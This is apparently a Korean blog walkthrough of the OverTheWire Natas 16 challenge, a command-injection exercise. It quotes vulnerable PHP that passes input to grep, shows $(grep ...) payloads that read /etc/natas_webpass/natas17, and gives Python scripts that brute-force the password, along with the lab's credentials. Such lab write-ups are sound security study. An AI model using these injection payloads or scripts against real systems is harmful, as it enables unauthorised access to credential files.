Over the Wire/natas

[OverTheWire:natas] Natas 15 → 16 / Natas 16

ruming 2021. 6. 25. 15:05

 

소스코드를 보자.

...
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

몇가지 문자를 필터링하고 있다. ;|&`\'"

$key도 "로 막아두었다. 사용할 수 있는 것은 $(명령어)이다.

 

$(echo hello) 를 입력하면 다음과 같은 결과가 뜬다.

 

다음 명령어를 사용해 password에 어떤 글자가 들어가는지 알 수 있다.

betcha$(grep a /etc/natas_webpass/natas17)

해당 문자가 없는 경우

 

betcha$(grep b /etc/natas_webpass/natas17)

해당 문자가 있는 경우

 

이제 자동화 프로그램을 돌려서 어떤 문자가 들어가는지 알아낸 다음에, 정규표현식을 이용해 정확한 비밀번호를 알아낼 것이다. blind sql injection이다. 

 

grep 사용법

 

import requests  
from requests.auth import HTTPBasicAuth  
  
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')  
  
p_char = ""
pw = ""
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
for char in allchars:  
 r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=betcha$(grep ' + char + ' /etc/natas_webpass/natas17)', auth=auth)  
 
 if 'betcha' not in r.text:  
  p_char = p_char + char  
  print(p_char)  
  
for i in range(32):  
 for char in p_char:  
  r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=betcha$(grep ^' + pw + char + ' /etc/natas_webpass/natas17)', auth=auth)  
    
  if 'betcha' not in r.text:  
   pw = pw + char  
   print(pw)  
   break

 

결과

 

시간이 좀 오래 걸리겠지만 필터링을 거치지 않고 바로 알아낼 수도 있겠다.

import requests  
from requests.auth import HTTPBasicAuth  
  
auth=HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')  
  
pw = ""
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  

for i in range(32):  
 for char in allchars:  
  r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=betcha$(grep ^' + pw + char + ' /etc/natas_webpass/natas17)', auth=auth)  
    
  if 'betcha' not in r.text:  
   pw = pw + char  
   print(pw)  
   break

 

결과

정말 오래걸린다.

 

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

 

 

 

 

참고 : https://www.abatchy.com/2016/11/natas-level-16